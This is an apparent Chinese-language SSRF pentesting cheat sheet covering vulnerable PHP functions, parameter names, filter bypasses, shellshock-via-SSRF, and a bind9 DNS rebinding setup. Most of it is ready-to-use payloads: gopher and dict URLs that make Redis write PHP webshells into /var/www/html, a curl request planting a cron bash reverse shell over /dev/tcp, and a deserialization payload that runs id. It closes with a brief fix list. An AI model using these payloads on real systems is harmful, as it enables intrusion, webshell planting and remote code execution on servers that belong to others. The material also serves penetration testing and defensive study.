SSRF

  • 通过重定向导致的SSRF(开放重定向SSRF,先找到可以重定向的接口,再找到可能导致ssrf的接口,然后将重定向的接口进行编码输入ssrf的接口参数尝试绕过校验)
  • 带外检测SSRF,检测是否出网
  • 本地读取

  • shellshock-ssrf:首先通过referer或者请求参数进行是否出网的检测,如果出网,在dnslog或其他平台观察发出的http请求中哪些请求头是存在的,比如user-agent,然后在这些请求头中添加shellshock代码,并通过先前触发ssrf的方式来触发远程代码执行(shellshock 在Bash 4.3 及以上版本不适用)

SSRF

介绍

SSRF,服务端请求伪造,借助ssrf,攻击者可以攻击到无法访问的内网

漏洞原理

服务端提供了从其他服务器应用湖区数据的功能而没有对目标地址做过滤和限制,与ssrf有关的php函数如下:

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
  1. curl相关函数:curl()和curl_exec()

  2. file_get_contents():把整个文件读入一个字符串中。

  3. readfile():该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。

漏洞点判断

当遇到?url=xxxxxx这样的字符串,则有可能存在ssrf,除了url这样的关键字外,还有以下关键字:

share
wap
link
src
source
target
u
3g
display
source
image

除了关键字,还可以寻找web功能:

  • 分享:通过URL地址分享网页内容                          
  • 转码服务(通过URL地址把原地址的网页内容调优,使其适合手机屏幕的浏览)
  • 在线翻译
  • 图片加载与下载:通过URL地址加载或下载图片
  • 图片、文章收藏功能
  • 未公开的api实现及调用URL的功能

相关

可利用协议

协议 利用
http(s) 内网探测、端口扫描
file 文件读取
gopher 构造get-post请求并发出/攻击内网应用
dict 泄露安全软件版本信息

http/https

  • 内网探测

    http://内网ip/
    
  • 端口探活

    http://内网ip:端口/
    

gopher

gopher协议是一种早于http协议的协议,用于在互联网上检索文档,现在已经不常用了

gopher协议在ssrf漏洞利用中可以说是万金油,因为可以使用gopher发送各种格式的请求包,可以攻击内网的FTP、Telnet、Redis、Memcache、MySQL等服务,也可以进行GET、POST请求,还可以触发反序列化等

gopher协议的格式是gopher://host:port/_payload,其中payload是经过url编码的请求包,可以包含任意的协议头、数据、命令等

gopher的使用条件:

  • php--wite-curlwrappers且版本至少为5.3
  • java使用时小于JDK1.7
  • curl低版本不支持
  • asp.net支持小于版本3

实际例子:

  • 写入webshell

    gopher://127.0.0.1:6379/_set test "<?php eval($_GET['a']);?>"
    set dir /var/www/html
    set dbfilename shell.php
    config set dir /var/www/html
    save
    quit
      
    

    url编码后:

    gopher://127.0.0.1:6379/_set%20test%20%22%3C%3Fphp%20eval%28%24_GET%5B%27a%27%5D%29%3B%3F%3E%22%0D%0Aset%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Aset%20dbfilename%20shell.php%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Asave%0D%0Aquit%0D%0A
    

    或者反弹shell:

    curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"
    
  • 触发反序列化

    gopher://127.0.0.1:80/_GET%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%20100%0D%0A%0D%0Aa%3DO%3A4%3A%22Test%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22%7Cid%7C%22%3B%7D
    

    经过url解码可以看到:

    gopher://127.0.0.1:80/_GET / HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 100
      
    a=O:4:"Test":1:{s:4:"test";s:6:"|id|";}
    

    将前面的url通过ssrf漏洞点传给网站就会触发恶意对象的方法并执行id命令

dict

dict协议是一种词典网络协议,它允许客户端在使用过程中访问更多字典,dict服务器和客户机使用TCP端口2628

  • 泄漏点安装软件版本信息

    dict://127.0.0.1:6379/info
    
  • 查看端口是否开放

    dict://127.0.0.1:6379/
    
  • 读取内网文件,如

    dict://127.0.0.1:6379/_config%20get%20dir%0D%0Aconfig%20get%20dbfilename%0D%0Aget%20test%0D%0Aquit%0D%0A
    

    可以获取redis的配置文件和存储的数据。

  • 执行内网命令,如

    dict://127.0.0.1:6379/_set test "<?php system($_GET['a']);?>"
    set dir /var/www/html
    set dbfilename shell.php
    config set dir /var/www/html
    save
    quit
    

    url编码后:

    dict://127.0.0.1:6379/_set%20test%20%22%3C%3Fphp%20system%28%24_GET%5B%27a%27%5D%29%3B%3F%3E%22%0D%0Aset%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Aset%20dbfilename%20shell.php%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Asave%0D%0Aquit%0D%0A
    

    可以将执行命令的webshell的内容写入到web目录下的一个文件中。

  • 访问其他协议,如

    _flushall
    set test "<?php $a=file_get_contents('http://127.0.0.1/');echo $a;?>"
    set dir /var/www/html
    set dbfilename shell.php
    config set dir /var/www/html
    save
    quit
      
    

    url编码后:

    dict://127.0.0.1:6379/_flushall%0D%0Aset%20test%20%22%3C%3Fphp%20%24a%3Dfile_get_contents%28%27http%3A%2F%2F127.0.0.1%2F%27%29%3Becho%20%24a%3B%3F%3E%22%0D%0Aset%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Aset%20dbfilename%20shell.php%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Asave%0D%0Aquit%0D%0A
    

    可以通过http协议获取内网网页的内容

bypass

  • @          http://abc.com@127.0.0.1

  • 添加端口号      http://127.0.0.1:8080
  • 短地址        https://0x9.me/cuGfD

  • 可以指向任意ip的域名  xip.io

  • ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)

  • 非HTTP协议

  • DNS Rebinding

漏洞修复

  1. 限制请求的端口只能为web端口,只允许访问HTTP和HTTPS请求。

  2. 限制不能访问内网的IP,以防止对内网进行攻击。

  3. 屏蔽返回的详细信息。

参考

dns rebind

dns rebind,让第一次返回真正的ip,第二次返回内网ip。

  1. 安装bind9

    apt install bind9
    
  2. 配置正向查找区域:

    vim /etc/bind/named.conf.local
    
  3. 输入以下内容:

    zone "example.com" {
            type master;
            file "/var/cache/bind/db.example.com";
    };
    
  4. 配置正向查找数据文件

    gedit /var/cache/bind/db.example.com
    
  5. 输入以下内容:

    $TTL	604800
    @	IN	SOA	example.com. root.example.com. (
    			      2		; Serial
    			 604800		; Refresh
    			  86400		; Retry
    			2419200		; Expire
    			 604800 )	; Negative Cache TTL
    ;
    @	IN	NS	localhost.
    hhh	60	IN	A	119.84.72.209
    hhh	IN	A	127.0.0.1
    

    两条hhh.example.com的记录对应不同的ip, 一个是119.84.72.209(公网地址,随意一个公网地址都可以),另一个是127.0.0.1(内网地址)

  6. 启动bind9

    systemctl start named
    
  7. 在Load Remote File处输入以下内容:

    http://hhh.example.com/local.txt
    

    多次输入,最后会发现虽然解析的ip是119.84.72.209,但实际使用的ip为127.0.0.1,最终绕过黑名单